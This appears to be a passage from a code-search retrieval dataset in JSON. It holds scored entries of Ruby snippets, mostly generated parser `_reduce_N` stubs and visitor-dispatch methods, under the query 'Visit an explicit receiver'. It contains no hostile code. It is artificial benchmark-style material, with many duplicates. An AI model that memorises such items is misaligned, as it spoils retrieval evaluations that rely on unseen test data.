"7a6f344f7a0a328fc14ecffdaad52f78", "score": "0.7060616", "text": "def _reduce_263(val, _values, result); end", "title": "" }, { "docid": "7a6f344f7a0a328fc14ecffdaad52f78", "score": "0.7060616", "text": "def _reduce_263(val, _values, result); end", "title": "" }, { "docid": "790b4d4354ac9d53f470dfdd8b51e093", "score": "0.70364153", "text": "def _reduce_271(val, _values, result); end", "title": "" }, { "docid": "790b4d4354ac9d53f470dfdd8b51e093", "score": "0.70364153", "text": "def _reduce_271(val, _values, result); end", "title": "" }, { "docid": "c7044be933c79e17c9a3f423dd000688", "score": "0.70139617", "text": "def _reduce_374(val, _values, result); end", "title": "" }, { "docid": "d4ed0255da24ed28aa1371ffa69456fb", "score": "0.7008562", "text": "def _reduce_552(val, _values, result)\n yyerrok\n\n result\nend", "title": "" }, { "docid": "778c6f9de8f99358132b7fd455e279a9", "score": "0.69995594", "text": "def _reduce_649(val, _values, result)\n yyerrok\n result\nend", "title": "" }, { "docid": "778c6f9de8f99358132b7fd455e279a9", "score": "0.69995594", "text": "def _reduce_649(val, _values, result)\n yyerrok\n result\nend", "title": "" }, { "docid": "778c6f9de8f99358132b7fd455e279a9", "score": "0.69995594", "text": "def _reduce_649(val, _values, result)\n yyerrok\n result\nend", "title": "" }, { "docid": "778c6f9de8f99358132b7fd455e279a9", "score": "0.69995594", "text": "def _reduce_649(val, _values, result)\n yyerrok\n result\nend", "title": "" }, { "docid": "0da8d4bc1271fbb8d2119d79e776a4f3", "score": "0.69974864", "text": "def _reduce_603(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "4a284296788ba625eeb1e1f152a2c293", "score": "0.69968224", "text": "def _reduce_612(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "b031785933de8bfd1e062ee09011b817", "score": "0.69959426", "text": "def _reduce_371(val, _values, result); end", "title": "" }, { "docid": "b54db12f89223bebd2320788e1d7202e", "score": "0.699422", "text": "def _reduce_602(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "9b5f7cb6c7acc381c7e9dca97b441c0d", "score": "0.6972828", "text": "def _reduce_492(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "aed59eb19c67e2fa5dc045c56711ffd4", "score": "0.6971897", "text": "def _reduce_498(val, _values, result)\n result = nil\n\n result\nend", "title": "" }, { "docid": "9a07920b1e54441703de5f3e24909728", "score": "0.69594306", "text": "def _reduce_544(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "16c258b09cc713306b21d5796236a72b", "score": "0.69573975", "text": "def _reduce_601(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "f1a7b75a0571b37c0d13b70e1b7084b2", "score": "0.69553214", "text": "def _reduce_600(val, _values, result)\n result = nil\n\n result\nend", "title": "" }, { "docid": "bfb6f724940e00c36b22a1ccfca65733", "score": "0.69547206", "text": "def _reduce_705(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "21605453ed5c35a4c330f28caa5add69", "score": "0.69528", "text": "def _reduce_740(val, _values, result)\n yyerrok\n\n result\nend", "title": "" }, { "docid": "7faaf50c91fb7bfbb28249efb280a691", "score": "0.6945086", "text": "def _reduce_527(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "422d2f736a7ec43748e5e9a1bbc798ad", "score": "0.6938963", "text": "def _reduce_711(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "175787b6c7ffc4133564b6de96387694", "score": "0.69370806", "text": "def _reduce_708(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "7afc64b7a680d652baf123c5336cde54", "score": "0.6933573", "text": "def _reduce_740(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "eeecc7c3c13821c5645e1dc645c47c94", "score": "0.69332564", "text": "def _reduce_72(val, _values, result); end", "title": "" }, { "docid": "eeecc7c3c13821c5645e1dc645c47c94", "score": "0.69332564", "text": "def _reduce_72(val, _values, result); end", "title": "" }, { "docid": "8d8e4f6fb87d14ea04abb962f0d789c9", "score": "0.69299716", "text": "def _reduce_561(val, _values, result); end", "title": "" }, { "docid": "8d8e4f6fb87d14ea04abb962f0d789c9", "score": "0.69299716", "text": "def _reduce_561(val, _values, result); end", "title": "" }, { "docid": "a72ccd2cf9eac3ad24d997538b04c62e", "score": "0.6928687", "text": "def _reduce_605(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "296702127d572a2841e4f5009e0a523e", "score": "0.692606", "text": "def _reduce_728(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "9c8f6a83bb5a721f7ab83f1cff91f26d", "score": "0.6923426", "text": "def _reduce_712(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "ad801b8250ddef70cf7a067f3e475838", "score": "0.6918622", "text": "def _reduce_496(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "b95b8f42d9777404f0ab4ba9e2123125", "score": "0.6903483", "text": "def _reduce_604(val, _values, result)\n yyerrok\n \n result\nend", "title": "" }, { "docid": "2af2e012bc6510e7bc4ba509c353ed2f", "score": "0.6897819", "text": "def _reduce_369(val, _values, result); end", "title": "" }, { "docid": "2af2e012bc6510e7bc4ba509c353ed2f", "score": "0.6897819", "text": "def _reduce_369(val, _values, result); end", "title": "" }, { "docid": "5ddb13994cf5d44c9a1bb0a276f40945", "score": "0.68856925", "text": "def _reduce_699(val, _values, result); end", "title": "" }, { "docid": "86f675c7646821486a3daf7b01e590ef", "score": "0.68825024", "text": "def _reduce_727(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "87dfcf5e3179597c5244c1850b6b9630", "score": "0.6881044", "text": "def _reduce_299(val, _values, result); end", "title": "" }, { "docid": "cfd9751f38acc4263e65891b003b80f5", "score": "0.6876491", "text": "def _reduce_606(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "21800ea6886e4567cd4c31f7596a0db7", "score": "0.6866812", "text": "def _reduce_709(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "a0c3b2b168956a69622a374716f57ce3", "score": "0.6863105", "text": "def _reduce_686(val, _values, result); end", "title": "" }, { "docid": "a51501d811bbbbb261a13e092b08add0", "score": "0.6862245", "text": "def _reduce_697(val, _values, result); end", "title": "" }, { "docid": "833aad3acea453cb06fd7050d2339151", "score": "0.68612313", "text": "def _reduce_638(val, _values, result)\n yyerrok\n result\nend", "title": "" }, { "docid": "833aad3acea453cb06fd7050d2339151", "score": "0.68612313", "text": "def _reduce_638(val, _values, result)\n yyerrok\n result\nend", "title": "" }, { "docid": "a369ad6454f426483335cd70dbc86e75", "score": "0.68557096", "text": "def _reduce_781(val, _values, result)\n yyerrok\n result\nend", "title": "" }, { "docid": "4aa3f7f51742e2b0c57f2560a19b9947", "score": "0.6848892", "text": "def _reduce_648(val, _values, result)\n yyerrok\n result\nend", "title": "" }, { "docid": "4aa3f7f51742e2b0c57f2560a19b9947", "score": "0.6848892", "text": "def _reduce_648(val, _values, result)\n yyerrok\n result\nend", "title": "" }, { "docid": "a8f6b114cf0c46f8e2a7e869a4ffdefc", "score": "0.68376577", "text": "def _reduce_228(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "a8f6b114cf0c46f8e2a7e869a4ffdefc", "score": "0.68376577", "text": "def _reduce_228(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "3540cbf688cb4d58b67e35aefd5c59a6", "score": "0.6834472", "text": "def _reduce_591(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "3cc28605273a193434fe66db49c1a8c0", "score": "0.6832757", "text": "def _reduce_715(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "c152998e60761b27d22381ab99b6611c", "score": "0.68298775", "text": "def _reduce_13(val, _values, result); end", "title": "" }, { "docid": "2ec5d53d178495eece7d34451640b19c", "score": "0.6828188", "text": "def _reduce_736(val, _values, result); end", "title": "" }, { "docid": "5f0a0777901574af4951c56958d103f5", "score": "0.68210775", "text": "def _reduce_595(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "4e3108f40298e6427d4c42c475a699a4", "score": "0.6819176", "text": "def _reduce_684(val, _values, result); end", "title": "" }, { "docid": "496ff670ff9e8fd5cfaa24526291fafd", "score": "0.6818356", "text": "def _reduce_69(val, _values, result); end", "title": "" }, { "docid": "9f8bf607977f206643c422c5454b1c65", "score": "0.68131715", "text": "def _reduce_602(val, _values, result)\n yyerrok\n\n result\nend", "title": "" }, { "docid": "4c0a078fb3cce8502c158456ef028d13", "score": "0.6805592", "text": "def _reduce_240(val, _values, result); end", "title": "" }, { "docid": "4c0a078fb3cce8502c158456ef028d13", "score": "0.6805592", "text": "def _reduce_240(val, _values, result); end", "title": "" }, { "docid": "0d13348cebbc5504d135d66985208d7c", "score": "0.6803434", "text": "def _reduce_725(val, _values, result); end", "title": "" }, { "docid": "dee2990445021448ec9987b0c331ec91", "score": "0.68009424", "text": "def _reduce_641(val, _values, result)\n yyerrok\n result\nend", "title": "" }, { "docid": "5076d37f36c7e174543ae23266f98a70", "score": "0.68008727", "text": "def _reduce_667(val, _values, result); end", "title": "" }, { "docid": "5b81fec5dc5dd35eb2b1a3c19b84a5ae", "score": "0.679833", "text": "def _reduce_645(val, _values, result)\n yyerrok\n result\nend", "title": "" }, { "docid": "5b81fec5dc5dd35eb2b1a3c19b84a5ae", "score": "0.679833", "text": "def _reduce_645(val, _values, result)\n yyerrok\n result\nend", "title": "" }, { "docid": "5b81fec5dc5dd35eb2b1a3c19b84a5ae", "score": "0.679833", "text": "def _reduce_645(val, _values, result)\n yyerrok\n result\nend", "title": "" }, { "docid": "b4a08676cb4eb501f9d589ca624145a1", "score": "0.6795356", "text": "def _reduce_784(val, _values, result)\n yyerrok\n result\nend", "title": "" }, { "docid": "6e9661329311086cf3b5a70b515a7539", "score": "0.6793846", "text": "def _reduce_385(val, _values, result); end", "title": "" }, { "docid": "ce19d4c195d845eb16cb6026fac2745c", "score": "0.6783999", "text": "def _reduce_372(val, _values, result); end", "title": "" }, { "docid": "eb48f254090dc0439061b26e3e6afc48", "score": "0.6783604", "text": "def _reduce_652(val, _values, result)\n yyerrok\n result\nend", "title": "" }, { "docid": "38eaee43c13d781ef43bb3f9f5e03f68", "score": "0.67810535", "text": "def _reduce_37(val, _values, result); end", "title": "" }, { "docid": "38eaee43c13d781ef43bb3f9f5e03f68", "score": "0.67810535", "text": "def _reduce_37(val, _values, result); end", "title": "" }, { "docid": "7506d0ea1feceb709a1b4e773d074828", "score": "0.6779334", "text": "def _reduce_239(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "87c8da5d10b0269b8f68958708244aca", "score": "0.67760694", "text": "def _reduce_637(val, _values, result); end", "title": "" }, { "docid": "2ebe7c326220bd965957f84a4066d291", "score": "0.6775815", "text": "def _reduce_528(val, _values, result); end", "title": "" }, { "docid": "2ebe7c326220bd965957f84a4066d291", "score": "0.6775815", "text": "def _reduce_528(val, _values, result); end", "title": "" }, { "docid": "d3ce7682b2384e9259701f130fb50dd4", "score": "0.677533", "text": "def _reduce_603(val, _values, result); end", "title": "" }, { "docid": "d3ce7682b2384e9259701f130fb50dd4", "score": "0.677533", "text": "def _reduce_603(val, _values, result); end", "title": "" }, { "docid": "d7289d4ae82f979a849298ebd6a2e143", "score": "0.677453", "text": "def _reduce_731(val, _values, result); end", "title": "" }, { "docid": "dc205f055ed9fc5fbb4faeb2c9861cbd", "score": "0.6770257", "text": "def _reduce_218(val, _values, result)\n result = nil\n \n result\nend", "title": "" }, { "docid": "454d787bf13c93e7ca2a2906d6bd9210", "score": "0.6759021", "text": "def _reduce_606(val, _values, result)\n result = nil\n\n result\nend", "title": "" }, { "docid": "f41cfd08615fc582b18a8d853bb32298", "score": "0.67557496", "text": "def _reduce_574(val, _values, result)\n yyerrok \n result\nend", "title": "" }, { "docid": "d1e7741cdbab6300a618c8288939a806", "score": "0.67552716", "text": "def _reduce_617(val, _values, result)\n yyerrok \n result\nend", "title": "" }, { "docid": "d1e7741cdbab6300a618c8288939a806", "score": "0.67552716", "text": "def _reduce_617(val, _values, result)\n yyerrok \n result\nend", "title": "" }, { "docid": "427e87b52d7a5aaad663035cbdf9d0ed", "score": "0.6754202", "text": "def _reduce_669(val, _values, result); end", "title": "" }, { "docid": "2d371d47e6fd32b1d9e3c313133ffab4", "score": "0.67522705", "text": "def _reduce_553(val, _values, result)\n result = nil\n \n result\nend", "title": "" } ]
a15be76aeb6f5fe555c07f0b70138f6c
Visit an explicit receiver
[ { "docid": "66ededa013f050e40d58c7ee19fb35d4", "score": "0.5343753", "text": "def visit_this(receiver, thing, args)\n raise \"Visitor Error: Too few arguments passed. min = #{@min_args}\" unless args.length >= @min_args\n if @max_args\n raise \"Visitor Error: Too many arguments passed. max = #{@max_args}\" unless args.length <= @max_args\n end\n method_name = @cache[thing.class]\n if method_name\n return receiver.send(method_name, thing, *args)\n else\n thing.class.ancestors().each do |ancestor|\n name = ancestor.name\n next if name.nil?\n method_name = :\"#{@message}_#{name.split(DOUBLE_COLON).last}\"\n next unless receiver.respond_to?(method_name, true)\n @cache[thing.class] = method_name\n return receiver.send(method_name, thing, *args)\n end\n end\n raise \"Visitor Error: the configured receiver (#{receiver.class}) can't handle instance of: #{thing.class}\"\n end", "title": "" } ]
[ { "docid": "42994f668d503442c3cc3f8119b3d4ed", "score": "0.70573294", "text": "def visit(thing, *args)\n visit_this(@receiver, thing, *args)\n end", "title": "" }, { "docid": "c5660c6cc80613600fe965593a91db6b", "score": "0.6981263", "text": "def visit(thing, *args)\n visit_this(@receiver, thing, args)\n end", "title": "" }, { "docid": "a8a6a65f7753ed02d4a3a06884ebd53c", "score": "0.6572979", "text": "def emit_naked_receiver\n emit(receiver) if receiver && !NOT_ASSIGNABLE.include?(receiver.type)\n end", "title": "" }, { "docid": "6ecabac79fd558cf0ab29b5ad628aa2f", "score": "0.6300372", "text": "def accept_call(receiver, method_name, args)\n argc = visit(args)\n \n if receiver\n visit(receiver)\n @generator.ruby_call method_name, argc\n else\n @generator.ruby_call_implicit method_name, argc\n end\n end", "title": "" }, { "docid": "6375265c60a7dc6c28d33bf69b7174ef", "score": "0.622418", "text": "def for (receiver)\n @receiver = receiver\n self\n end", "title": "" }, { "docid": "adbe07d8dc73d78770af080bf30c75da", "score": "0.6223464", "text": "def emit_implicit_self_receiver\n unless to_self? and !Mutant::KEYWORDS.include?(node.name)\n return\n end\n\n mutant = dup_node\n mutant.privately = true\n emit(mutant)\n end", "title": "" }, { "docid": "9957ede1977d34109334148c6a0adc63", "score": "0.6197075", "text": "def extract_receiver\n check_type :call\n self[1]\n end", "title": "" }, { "docid": "ab1794481801fa7cb9e1f6acad8f1392", "score": "0.6096418", "text": "def notice_receiver\n interpret_target(self.class.receiver)\n end", "title": "" }, { "docid": "ace09f95ec0374a23a349272e981b956", "score": "0.6095392", "text": "def receiver\n node.receiver\n end", "title": "" }, { "docid": "abcccc8c05336b9d0f712c689835e5df", "score": "0.60455686", "text": "def receiver()\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "46e3dc2090df03e449bfef8b19ab57d4", "score": "0.59422123", "text": "def right_receiver?(receiver_node); end", "title": "" }, { "docid": "d954914ff0b1d294f210c89bf2b87e72", "score": "0.5941503", "text": "def receiver; end", "title": "" }, { "docid": "d954914ff0b1d294f210c89bf2b87e72", "score": "0.5941503", "text": "def receiver; end", "title": "" }, { "docid": "d954914ff0b1d294f210c89bf2b87e72", "score": "0.5941503", "text": "def receiver; end", "title": "" }, { "docid": "d954914ff0b1d294f210c89bf2b87e72", "score": "0.5941503", "text": "def receiver; end", "title": "" }, { "docid": "d954914ff0b1d294f210c89bf2b87e72", "score": "0.5941503", "text": "def receiver; end", "title": "" }, { "docid": "d954914ff0b1d294f210c89bf2b87e72", "score": "0.5941503", "text": "def receiver; end", "title": "" }, { "docid": "d954914ff0b1d294f210c89bf2b87e72", "score": "0.5941503", "text": "def receiver; end", "title": "" }, { "docid": "d954914ff0b1d294f210c89bf2b87e72", "score": "0.5941503", "text": "def receiver; end", "title": "" }, { "docid": "d954914ff0b1d294f210c89bf2b87e72", "score": "0.5941503", "text": "def receiver; end", "title": "" }, { "docid": "d954914ff0b1d294f210c89bf2b87e72", "score": "0.5941503", "text": "def receiver; end", "title": "" }, { "docid": "d954914ff0b1d294f210c89bf2b87e72", "score": "0.5941503", "text": "def receiver; end", "title": "" }, { "docid": "0c6ebdd7757cf9565c90ed75549ce176", "score": "0.5916057", "text": "def gated_receiver; end", "title": "" }, { "docid": "f46c7370382301026db1da14ced2cef9", "score": "0.5831664", "text": "def receiver\n if :send == self.type\n self.children[0]\n else\n raise Synvert::MethodNotSupported.new \"receiver is not handled for #{self.inspect}\"\n end\n end", "title": "" }, { "docid": "e735856e7bb1819922eb1a9cf94dc1f8", "score": "0.57609946", "text": "def on_send(node); end", "title": "" }, { "docid": "e735856e7bb1819922eb1a9cf94dc1f8", "score": "0.57609946", "text": "def on_send(node); end", "title": "" }, { "docid": "e735856e7bb1819922eb1a9cf94dc1f8", "score": "0.57609946", "text": "def on_send(node); end", "title": "" }, { "docid": "f4d86f1d310f8047520fa91df9c76a03", "score": "0.57410043", "text": "def emit_implicit_self\n emit_receiver(nil) if n_self?(receiver) && !(\n KEYWORDS.include?(selector) ||\n METHOD_OPERATORS.include?(selector) ||\n OP_ASSIGN.include?(parent_type) ||\n attribute_assignment?\n )\n end", "title": "" }, { "docid": "9c4d945eec2c14735191a510f26f96cb", "score": "0.5728594", "text": "def receiver\n if :send == self.type\n self.children[0]\n else\n raise Synvert::Core::MethodNotSupported.new \"receiver is not handled for #{self.debug_info}\"\n end\n end", "title": "" }, { "docid": "7273958b50bdda84e1162df8c7b688cb", "score": "0.57204413", "text": "def receive_sender(sender); end", "title": "" }, { "docid": "a20a1190b308c2d4298b1e065b6d3b51", "score": "0.5704062", "text": "def receiver\n end", "title": "" }, { "docid": "99a944ad63a5edd2c948c844ddcaec15", "score": "0.57036686", "text": "def receiver\n @@receiver ||= nil\n end", "title": "" }, { "docid": "dae9887462ace4feab3a9e7c5700f992", "score": "0.56909627", "text": "def visitor; end", "title": "" }, { "docid": "dae9887462ace4feab3a9e7c5700f992", "score": "0.56909627", "text": "def visitor; end", "title": "" }, { "docid": "4b1eaeb4ec793970004f4f9f8a759e8a", "score": "0.5684612", "text": "def accept(_visitor)\n raise NotImplementedError\n end", "title": "" }, { "docid": "7e4a682b8f5104f0a563659019e77f9e", "score": "0.5680763", "text": "def accept(_visitor)\n raise NotImplementedError\n end", "title": "" }, { "docid": "5622156424b8bbf0dd6641f8b9fcb0b0", "score": "0.56232977", "text": "def _push_receiver(receiver)\n @_receivers.push receiver\n end", "title": "" }, { "docid": "b6a79b2a098d819b4195f40dfd3e6c90", "score": "0.5606501", "text": "def visitor=(_arg0); end", "title": "" }, { "docid": "7ffe9692f6ad869100ccf7d8e1046525", "score": "0.5581801", "text": "def receiver\n case sexp_type\n when :assign, :field, :call, :binary, :command_call\n self[1]\n when :method_add_arg, :method_add_block\n self[1].receiver\n end\n end", "title": "" }, { "docid": "dea6f4f61697aa9e8b683b2e7b4d4324", "score": "0.5579027", "text": "def on_call(receiver, operator, message); end", "title": "" }, { "docid": "c52942ba6cc57e0e0ba370ad541f8191", "score": "0.5578592", "text": "def normal_dispatch\n emit_naked_receiver\n emit_selector_replacement\n emit_argument_propagation\n mutate_receiver\n mutate_arguments\n end", "title": "" }, { "docid": "c600c7409c58e07404ed55be33a1ec52", "score": "0.553567", "text": "def accepter; end", "title": "" }, { "docid": "c600c7409c58e07404ed55be33a1ec52", "score": "0.553567", "text": "def accepter; end", "title": "" }, { "docid": "5aec065acbd116baf3f0bca562078298", "score": "0.5518435", "text": "def visit_call(node)\n node.copy(\n receiver: visit(node.receiver),\n operator: node.operator == :\"::\" ? :\"::\" : visit(node.operator),\n message: node.message == :call ? :call : visit(node.message),\n arguments: visit(node.arguments)\n )\n end", "title": "" }, { "docid": "001ba3f61443b32c778f17711068617b", "score": "0.5517584", "text": "def visit_call(node); end", "title": "" }, { "docid": "b1d81d1495ac093205ba32fd65929907", "score": "0.5493014", "text": "def to_proc\n method(:emit).to_proc\n end", "title": "" }, { "docid": "7d1631336f074dd3b6fad7fd6753676e", "score": "0.5486571", "text": "def emit_on(generator, timespec = nil)\n Roby.warn_deprecated \"a.emit_on(b) has been replaced by b.forward_to(a)\"\n\t generator.forward(self, timespec)\n\t self\n\tend", "title": "" }, { "docid": "f4f46f0582f88ab55982641e31c6871d", "score": "0.5486337", "text": "def emit_forward_arg; end", "title": "" }, { "docid": "1dafcef8a4fdb200e299773d611387f7", "score": "0.5481593", "text": "def receiver\n @receiver ||= @raw_receiver.load\n end", "title": "" }, { "docid": "b5ec8fbe52bbf1ee1a7f81179fa50ae6", "score": "0.5458791", "text": "def receive(type, &block)\n @receivers << [type, block.arity + 1, block]\n end", "title": "" }, { "docid": "89ea6f348f4b7360dff01b5673c6c218", "score": "0.5454733", "text": "def receiver\n node_parts[0]\n end", "title": "" }, { "docid": "70e98ea9864044bbb2a94fd5dcfef80a", "score": "0.54434824", "text": "def visit_this_1(receiver, thing, arg)\n method_name = @cache[thing.class]\n if method_name\n return receiver.send(method_name, thing, arg)\n end\n visit_this(receiver, thing, [arg])\n end", "title": "" }, { "docid": "a14a8274b3ed7af71f1d7f5ebf7cf8a4", "score": "0.5442275", "text": "def emitting(context); super if defined? super end", "title": "" }, { "docid": "81a3d85cd34da6977b4917c6c3bad027", "score": "0.5428066", "text": "def call(receiver, *args)\n receiver.__send__(self, *args)\n end", "title": "" }, { "docid": "4c6cc93ed6fee448e68ab5cc600d94e4", "score": "0.54267204", "text": "def visit; end", "title": "" }, { "docid": "1c288a6e4714b3045d94d841d8423291", "score": "0.5425941", "text": "def RegisterReceiver(new_receiver)\n _invoke(14, [new_receiver], [VT_BYREF|VT_DISPATCH])\n end", "title": "" }, { "docid": "86604dac366284a442d7a1cca663ad05", "score": "0.5425204", "text": "def visit(&block)\n\t\tblock.call self\n\tend", "title": "" }, { "docid": "86604dac366284a442d7a1cca663ad05", "score": "0.5425204", "text": "def visit(&block)\n\t\tblock.call self\n\tend", "title": "" }, { "docid": "e60f21744d74637596b0d7db83aef227", "score": "0.54080814", "text": "def on_call(receiver, operator, message)\n ending =\n if message != :call\n message\n elsif operator != :\"::\"\n operator\n else\n receiver\n end\n\n CallNode.new(\n receiver: receiver,\n operator: operator,\n message: message,\n arguments: nil,\n location: receiver.location.to(ending.location)\n )\n end", "title": "" }, { "docid": "a5e884a2cfd77c5f00a0e42681b5e8ad", "score": "0.5406967", "text": "def proxy(peer)\n task = peer.local_object(self.task)\n event = task.event(symbol)\n if emitted && !event.emitted?\n event.instance_eval { @emitted = true }\n end\n event\n end", "title": "" }, { "docid": "f09ca4d6a9215c022cd6468dc2056bad", "score": "0.5403124", "text": "def visit_method; end", "title": "" }, { "docid": "f09ca4d6a9215c022cd6468dc2056bad", "score": "0.5403124", "text": "def visit_method; end", "title": "" }, { "docid": "fa9e1b88c9c354a649e6f23b640fc81f", "score": "0.54025793", "text": "def RegisterReceiver(new_receiver)\n @ole._invoke(14, [new_receiver], [VT_BYREF|VT_DISPATCH])\n end", "title": "" }, { "docid": "dff532244ae69fb2fe7221cf5ccd6af7", "score": "0.5399467", "text": "def dispatch_to_verneuil(receiver, name)\n if v_method = lookup_method(receiver, name)\n catch(:verneuil_code) {\n retval = v_method.invoke(self, receiver)\n @stack.push retval\n } \n return true\n end\n \n return false\n end", "title": "" }, { "docid": "6d417ea72be60bef6ec1eca20d6d1bc6", "score": "0.5385322", "text": "def recipient; end", "title": "" }, { "docid": "e149188710b514542f77a59de5f8059b", "score": "0.5383769", "text": "def received_object(object); end", "title": "" }, { "docid": "704fa7bf7227b96e936aebb3a29894be", "score": "0.5370663", "text": "def visitor\n @visitor ||= Visitor.new initial\n end", "title": "" }, { "docid": "392363ed5b883df362eecd1442b261f8", "score": "0.5363133", "text": "def CallNode(receiver, operator, message, arguments); end", "title": "" }, { "docid": "292424edbbef0b031d78739a3d073a98", "score": "0.53625655", "text": "def visit_method_call(send_node, recv_singleton_type)\n selector = send_node.selector\n\n if recv_singleton_type.is_primitive?\n raise NotImplementedError.new(\"#{recv_singleton_type}.#{selector} not implemented (#{send_node.to_s})\")\n end\n\n parameter_names = recv_singleton_type.method_parameters(selector)\n arg_types = send_node.arguments.map do |arg| arg.get_type end\n ast = recv_singleton_type.method_ast(selector)\n method_visited_before = nil\n\n if not @classes[recv_singleton_type].has_instance_method?(selector)\n # This method was never visited before\n method_def_node = AST::MethDefNode.new_with_types(\n name: selector,\n body: ast,\n parameters_names_and_types: Hash[*parameter_names.zip(\n Array.new(arg_types.size) do |arg_index|\n Types::UnionType.new\n end).flatten],\n ruby_method: nil,\n receiver_type: recv_singleton_type,\n method_binding: recv_singleton_type.method_binding(selector))\n @classes[recv_singleton_type].add_instance_method(method_def_node)\n method_visited_before = false\n else\n method_visited_before = true\n end\n\n method_def_node = @classes[recv_singleton_type].instance_method(selector)\n\n parameter_types_expanded = parameter_names.map.with_index do |name, index|\n # returns true if expanded \n method_def_node.parameters_names_and_types[name].expand(arg_types[index])\n end.reduce(:|)\n\n # Method needs processing if any parameter is expanded (or method was never visited before)\n needs_processing = !method_visited_before or parameter_types_expanded\n\n # Return value type from the last pass\n # TODO: Have to make a copy here?\n last_return_type = method_def_node.get_type\n \n if needs_processing\n process_method(method_def_node)\n end\n\n if not last_return_type.include_all?(method_def_node.get_type)\n # Return type was expanded during this pass, reprocess all callers (except for current method)\n @worklist += (method_def_node.callers - [current_method_or_block])\n end\n\n method_def_node.callers.push(current_method_or_block)\n\n return method_def_node.get_type\n end", "title": "" }, { "docid": "259cd700be835aa90379d01348df778e", "score": "0.5360509", "text": "def call(receiver, *args)\n receiver.__send__(self, *args)\n end", "title": "" }, { "docid": "55f4d5a2ab85d54121d6dcd0aa279fd0", "score": "0.5351593", "text": "def emitter(evaluator)\n emitters.each do |arity, emitter|\n return emitter if evaluator.ancestors.include?(arity)\n end\n fail Error::UnknownNode, evaluator\n end", "title": "" }, { "docid": "b667a5ae3ed9343643fad0f0e17b1d57", "score": "0.53485626", "text": "def on_send(node)\n return unless setter_call_on_self?(node)\n _receiver, method_name, = *node\n attribute_name = method_name.to_s.sub(/=$/, '').to_sym\n check_name(node, attribute_name, node.loc.selector)\n end", "title": "" }, { "docid": "f2319c880db1d872b6bb8a28990f84d9", "score": "0.53430194", "text": "def accept(visitor, guard)\n visitor.visit(self, guard)\n end", "title": "" }, { "docid": "7f8a60e17659dc478d69d4bb9a3f17d8", "score": "0.5341607", "text": "def visit_this(receiver, thing, *args)\n raise \"Visitor Error: Too few arguments passed. min = #{@min_args}\" unless args.length >= @min_args\n if @max_args\n raise \"Visitor Error: Too many arguments passed. max = #{@max_args}\" unless args.length <= @max_args\n end\n if method_name = @cache[thing.class]\n return receiver.send(method_name, thing, *args)\n else\n thing.class.ancestors().each do |ancestor|\n method_name = :\"#{@message}_#{ancestor.name.split(/::/).last}\"\n next unless receiver.respond_to?(method_name, true)\n @cache[thing.class] = method_name\n return receiver.send(method_name, thing, *args)\n end\n end\n raise \"Visitor Error: the configured receiver (#{receiver.class}) can't handle instance of: #{thing.class}\"\n end", "title": "" }, { "docid": "b7d6e1eea9e4be7d6aaf6948639f1966", "score": "0.533394", "text": "def relay\n raise \"Not Implemented yet\"\n end", "title": "" }, { "docid": "43793b8d589e20684b4cef7ed84ce6af", "score": "0.53300554", "text": "def yield_receiver_to_any_instance_implementation_blocks=(_arg0); end", "title": "" }, { "docid": "6db2bb42dea062bbc134fff4e8b4354b", "score": "0.53184956", "text": "def redefine_this?(temporary_receiver)\n true\n end", "title": "" }, { "docid": "b59dc21b652cbb3b519a724782894c68", "score": "0.5316687", "text": "def forwarding(event, to); super if defined? super end", "title": "" }, { "docid": "5312db58a58ba5f11d940e4d046879b9", "score": "0.531327", "text": "def receiver?(node)\n receiver = node.receiver\n case receiver\n when Rubinius::AST::Self\n true\n when Rubinius::AST::ConstantAccess\n receiver_name?(receiver)\n else\n $stderr.puts \"Unable to find singleton method definition can only match receiver on Rubinius::AST::Self or Rubinius::AST::ConstantAccess, got #{receiver.class}\"\n false\n end\n end", "title": "" }, { "docid": "104aeac55f6cb8e65228d88840f5fd48", "score": "0.5312601", "text": "def visit_other_type; end", "title": "" }, { "docid": "104aeac55f6cb8e65228d88840f5fd48", "score": "0.5312601", "text": "def visit_other_type; end", "title": "" }, { "docid": "104aeac55f6cb8e65228d88840f5fd48", "score": "0.5312601", "text": "def visit_other_type; end", "title": "" }, { "docid": "104aeac55f6cb8e65228d88840f5fd48", "score": "0.5312601", "text": "def visit_other_type; end", "title": "" }, { "docid": "104aeac55f6cb8e65228d88840f5fd48", "score": "0.5312601", "text": "def visit_other_type; end", "title": "" }, { "docid": "104aeac55f6cb8e65228d88840f5fd48", "score": "0.5312601", "text": "def visit_other_type; end", "title": "" }, { "docid": "f097c5c0aec9b346eb589fb2c1313245", "score": "0.53072405", "text": "def visit(node, &block)\n raise NotImplementedError, 'Define visit in a subclass'\n end", "title": "" }, { "docid": "7ba50babe4aa36e2456305079a53d1bb", "score": "0.53063154", "text": "def new_visitor; end", "title": "" }, { "docid": "ce6fcccfdcfbe721ff4e6512711cf855", "score": "0.52962923", "text": "def self_receiver?; end", "title": "" }, { "docid": "ce6fcccfdcfbe721ff4e6512711cf855", "score": "0.52962923", "text": "def self_receiver?; end", "title": "" }, { "docid": "ce6fcccfdcfbe721ff4e6512711cf855", "score": "0.52962923", "text": "def self_receiver?; 